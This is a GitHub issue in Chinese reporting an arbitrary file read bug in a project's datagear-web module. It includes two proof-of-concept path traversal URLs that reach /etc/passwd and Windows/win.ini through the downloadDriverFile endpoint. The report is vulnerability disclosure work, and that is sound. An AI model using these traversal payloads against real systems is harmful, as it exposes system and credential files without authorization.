New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

存在任意文件读取漏洞 #13

Closed

Firebasky opened this issue Jan 7, 2022 · 2 comments

Firebasky commented Jan 7, 2022

亲爱的朋友，该项目存在一个安全漏洞。

poc:
url/driverEntity/downloadDriverFile?id=1?file=../../.../../../../../../../etc/passwd

Author

Firebasky commented Jan 7, 2022

漏洞存在是在datagear-web模块中

Author

Firebasky commented Jan 7, 2022

poc:

/driverEntity/downloadDriverFile?id=1&file=../../.../../../../../../../../../Windows/win.ini

Firebasky closed this as completed

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment